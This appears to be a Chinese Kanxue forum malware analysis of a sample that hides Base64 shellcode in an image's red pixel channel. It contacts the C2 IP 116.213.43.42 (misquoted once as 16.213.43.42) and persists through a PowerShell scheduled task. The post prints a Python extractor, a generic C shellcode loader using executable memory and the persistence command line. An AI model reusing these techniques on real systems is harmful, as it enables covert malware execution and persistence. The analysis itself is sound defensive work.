ZyOrca 2025-09-20 17:55 上海
看雪论坛作者ID:ZyOrca

📁 **样本初步分析与加壳检测**:文章以xrk1_setup.exe样本为起点,指出其使用了Confuser 1.x进行加壳。脱壳后,样本仍然表现出混淆和反调试的特征,增加了逆向分析的难度。样本运行过程中会生成一个名为InternetDownl.dll的DLL文件,初步判断为恶意文件。
🖼️ **图片隐藏Shellcode与提取**:通过对样本代码的深入挖掘,发现其利用了`DecodeName()`函数解析出隐藏的图片文件名为“1.png”。接着,`ExtractBase64()`函数展示了如何从该图片中提取Base64编码的Shellcode。该过程涉及遍历像素的R通道值,并将其转换为字符,最终构成Base64字符串进行解码,Python脚本被提供用于自动化此提取过程。
🌐 **Shellcode功能解析与恶意连接**:提取出的Shellcode以“E9”开头,确认其为可执行代码。Shellcode首先动态解析关键的Windows API函数,如LoadLibraryA、VirtualAlloc、WSAStartup、connect等。随后,它解密并连接到恶意IP地址116.213.43.42,为后续的网络通信和潜在的二阶段恶意软件下载做准备。
🛡️ **持久化机制与安全软件检测**:该Shellcode通过PowerShell命令创建了一个计划任务,旨在用户登录时启动`ShellcodeLoader.exe`,从而实现系统级别的持久化。此外,它还会尝试创建`C:\Users\Public\Documents\SyS.ini`文件,可能作为互斥体来防止同一恶意软件的多个实例运行,并且具备检测系统中是否存在杀毒软件进程的功能。
ZyOrca 2025-09-20 17:55 上海
看雪论坛作者ID:ZyOrca
Confuser 1.x 是一款针对.NET应用程序的开源免费加壳工具3. 黑 dll 脱壳和分析
用ConfuserEx-Unpacker-v2.0 脱一下壳
再看一下文件信息,发现虽然脱掉了壳,但还是有混淆和反调试再用 dnspy 看一下脱壳后的文件,可以看到很明显的恶意特征点进 DecodeName() 查看// Loader// Token: 0x0600000F RID: 15 RVA: 0x000024B0 File Offset: 0x000006B0privatestatic T0 DecodeName<T0>(){return Encoding.UTF8.GetString(Convert.FromBase64String("MS5wbmc="));}
随便找一个在线网站对**MS5wbmc=**解码,发现是1.png4. 解密 Payload4.1 解密算法再找找样本程序运行时有没有这个文件,找到了
再看一下ExtractBase64() 函数// Loader// Token: 0x0600000E RID: 14 RVA: 0x00002430 File Offset: 0x00000630privatestatic T4[] ExtractBase64<T0, T1, T2, T3, T4, T5>(T5 img){T0t= Activator.CreateInstance(typeof(T0));for (T1t2=1; t2 < img.Height; t2++) {for (T1t3=1; t3 < img.Width; t3++) {StringBuilderstringBuilder= t;T2pixel= img.GetPixel(t3, t2); stringBuilder.Append((char)pixel.R); } }return Convert.FromBase64String(t.ToString().Replace("\0", ""));}
4.2 解密 Python 脚本根据ExtractBase64() 写一个解密的 Python 脚本
import base64from PIL import Imagedef extract_data_from_image(image_path: str) -> bytes:try:# 打开图片文件 with Image.open(image_path) as img:# 确保图片是RGB模式,以访问R通道if img.mode != 'RGB': img = img.convert('RGB') width, height = img.size# 用于拼接字符的列表 char_list = []# 遍历像素 (从1,1开始,与C#代码保持一致)for y in range(1, height):for x in range(1, width):# 获取(x, y)位置像素的RGB值 r, g, b = img.getpixel((x, y))# C#代码中的 .Replace("\0", "") 相当于忽略R值为0的像素if r != 0: char_list.append(chr(r))# 将字符列表拼接成Base64字符串 base64_string = "".join(char_list)# 解码Base64字符串# 为防止因填充错误导致解码失败,可以尝试添加等号填充 padding_needed = len(base64_string) % 4if padding_needed: base64_string += '=' * (4 - padding_needed) decoded_data = base64.b64decode(base64_string)return decoded_data except FileNotFoundError:print(f"错误: 文件 '{image_path}' 未找到。") raise except base64.binascii.Erroras e:print(f"Base64解码错误: {e}。从图片中提取的数据可能不是有效的Base64编码。") raise except Exceptionas e:print(f"处理图片时发生未知错误: {e}") raise# --- 主程序 ---if __name__ == "__main__": IMAGE_FILE = "1.png"# 将这里替换为您的图片文件名try:# 调用函数提取数据 shellcode = extract_data_from_image(IMAGE_FILE)# 将提取到的字节数据以十六进制格式打印出来# 这种格式在分析shellcode时更常用print(f"成功从 '{IMAGE_FILE}' 中提取数据 (shellcode):")print(shellcode.hex())# 如果需要将shellcode保存到文件 with open("extracted_shellcode.bin", "wb") as f: f.write(shellcode)print("\n已将数据保存到文件 'extracted_shellcode.bin'") except Exception:print("未能成功提取数据。")
先安装库,pip install Pillow,让后再运行解密脚本看到 E9 开头,应该可以确认是一个 shellcode5. 确认恶意行为5.1 编写 shellcode 的加载器然后再写一个加载这个 shellcode 的小程序
#define _CRT_SECURE_NO_WARNINGS#include<stdio.h>#include<stdlib.h>#include<string.h>#include<windows.h>// 包含所有Windows核心API// 函数:清理并退出程序voidcleanup_and_exit(constchar* message, HANDLE hThread, LPVOID exec_mem, unsignedchar* shellcode_bytes){if (message) {perror(message); // 打印错误信息 }if (hThread) {CloseHandle(hThread); // 关闭线程句柄 }if (exec_mem) {// 释放由VirtualAlloc分配的内存VirtualFree(exec_mem, 0, MEM_RELEASE); }if (shellcode_bytes) {free(shellcode_bytes); // 释放为读取文件分配的堆内存 }printf("\n程序异常退出。\n");system("pause");exit(1);}intmain(){// 设置控制台输出为UTF-8编码,以正确显示中文// 65001 是 UTF-8 的代码页system("chcp 65001 > nul");char filepath[MAX_PATH]; FILE* file = NULL;long file_size = 0;unsignedchar* shellcode_bytes = NULL; LPVOID exec_mem = NULL; HANDLE hThread = NULL;// 1. 获取用户输入printf("================ Shellcode 加载器 ================\n");printf("请输入Shellcode文件路径: ");if (fgets(filepath, sizeof(filepath), stdin) == NULL) {cleanup_and_exit("读取输入失败", NULL, NULL, NULL); }// 移除fgets读取到的末尾换行符 filepath[strcspn(filepath, "\n")] = 0;// 2. 打开并读取Shellcode文件printf("[*] 正在尝试打开文件: %s\n", filepath); file = fopen(filepath, "rb"); // "rb" 表示以二进制只读模式打开if (file == NULL) {cleanup_and_exit("[-] 文件打开失败", NULL, NULL, NULL); }// 获取文件大小fseek(file, 0, SEEK_END); file_size = ftell(file);rewind(file); // 将文件指针重置到开头if (file_size <= 0) {fclose(file);cleanup_and_exit("[-] 文件为空或读取大小失败", NULL, NULL, NULL); }printf("[+] 文件已打开,大小: %ld 字节。\n", file_size);// 分配内存以存储文件内容 shellcode_bytes = (unsignedchar*)malloc(file_size);if (shellcode_bytes == NULL) {fclose(file);cleanup_and_exit("[-] 分配内存以读取文件失败", NULL, NULL, NULL); }// 将文件内容读入内存if (fread(shellcode_bytes, 1, file_size, file) != file_size) {fclose(file);cleanup_and_exit("[-] 从文件读取Shellcode失败", NULL, NULL, shellcode_bytes); }fclose(file); // 文件已读完,可以关闭了printf("[+] Shellcode已成功加载到内存中。\n");// 3. 分配可执行内存// 使用 VirtualAlloc 分配一块可读、可写、可执行的内存// 这是执行Shellcode的关键步骤printf("[*] 正在分配可执行内存...\n"); exec_mem = VirtualAlloc(NULL, file_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (exec_mem == NULL) {cleanup_and_exit("[-] 分配可执行内存失败", NULL, NULL, shellcode_bytes); }printf("[+] 成功分配可执行内存于地址: %p\n", exec_mem);// 4. 将Shellcode复制到可执行内存memcpy(exec_mem, shellcode_bytes, file_size);printf("[+] Shellcode已复制到可执行内存。\n");// 5. 创建新线程来执行Shellcodeprintf("[*] 正在创建线程以执行Shellcode...\n");// 将可执行内存的地址作为线程的起始地址 hThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)exec_mem, NULL, 0, NULL);if (hThread == NULL) {cleanup_and_exit("[-] 创建线程失败", NULL, exec_mem, shellcode_bytes); }// 6. 等待Shellcode执行完毕printf("[+] 线程已创建,等待其执行完毕 (如果shellcode是阻塞式的,如反向连接,程序会在此等待)...\n");WaitForSingleObject(hThread, INFINITE); // 无限期等待,直到线程结束printf("[+] Shellcode执行完毕。\n");// 7. 清理资源printf("[*] 清理资源...\n");CloseHandle(hThread);VirtualFree(exec_mem, 0, MEM_RELEASE);free(shellcode_bytes);printf("\n==================================================\n");printf("[+] 程序执行完毕,按任意键退出。\n");system("pause > nul");return0;}
编译好后准备加载刚刚提取的 shellcode 文件**extracted_shellcode.bin****,**应该是链接到了某个 IP 地址5.2 连接恶意 IP可以看到连接的 IP 地址是 **116.213.43.42**
VT 和微步查看该 IP 地址的相关情报,可以看到这个地址是恶意的shellcode 执行后先是获取系统 dll 的各个 函数地址,包括 Loadlibrary()、VirtualAlloc()、VirtualFree()、RtlCaptureContext()、GetPrivateProfileStringA()。shellcode 在搜索"By@v<"字样,执行一个内存扫描操作,目的是在1000字节的范围内找到一个硬编码的标记 "By@v<"。成功找到该标记后,Shellcode 就能定位其配置数据,为后续建立网络连接(连接到攻击者的C2服务器)、下载并执行更复杂的恶意软件做准备,在地址 0x6071c 找到了接着 shellcode 解密出要连接的 IP 地址116.213.43.42并准备开始连接5.3 持久化cmdline:'powershell.exe -ExecutionPolicy Bypass -NoProfile -Command "$taskScheduler = New-Object -ComObject Schedule.Service; $taskScheduler.Connect(); $rootFolder = $taskScheduler.GetFolder(''); $taskDefinition = $taskScheduler.NewTask(0); $taskDefinition.RegistrationInfo.Description = 'My Task'; $action = $taskDefinition.Actions.Create(0); $action.Path = 'cmd.exe'; $action.Arguments = '/c "start "" /min "C:\Users\Finback\Desktop\ShellcodeLoader.exe" & exit"'; $trigger = $taskDefinition.Triggers.Create(9); '
黑 dll 利用 powershell 创建了一个计划任务,用户在登录系统时会启动 ShellcodeLoader.exe5.4 创建 ini 文件接着拼接文件夹路径,准备创建文件`C:\\users\\Public\\Documents\\SyS.ini`
猜测可能是Shellcode 运行时,会首先尝试创建或检查 C:\Users\Public\Documents\SyS.ini 文件。如果文件不存在,它会创建该文件,然后继续执行后续的恶意代码,起到一个互斥体的作用5.5 检测杀软进程总结:该 Shellcode 首先通过 PEB(进程环境块)遍历来动态解析所需的 Windows API 函数地址(如 LoadLibraryA, VirtualAlloc, WSAStartup, connect, recv 等),然后解密出 IP 地址16.213.43.42 并连接,同时还检测是否存在杀软进程看雪ID:ZyOrca
*本文为看雪论坛优秀文章,由 ZyOrca原创,转载请注明来自看雪社区
1.25折门票开售
看雪·第九届安全开发者峰会(SDC 2025)
# 往期推荐
无"痕"加载驱动模块之傀儡驱动 (上)
为 CobaltStrike 增加 SMTP Beacon
隐蔽通讯常见种类介绍
buuctf-re之CTF分析
物理读写/无附加读写实验
AI辅助创作,多种专业模板,深度分析,高质量内容生成。从观点提取到深度思考,FishAI为您提供全方位的创作支持。新版本引入自定义参数,让您的创作更加个性化和精准。
鱼阅,AI 时代的下一个智能信息助手,助你摆脱信息焦虑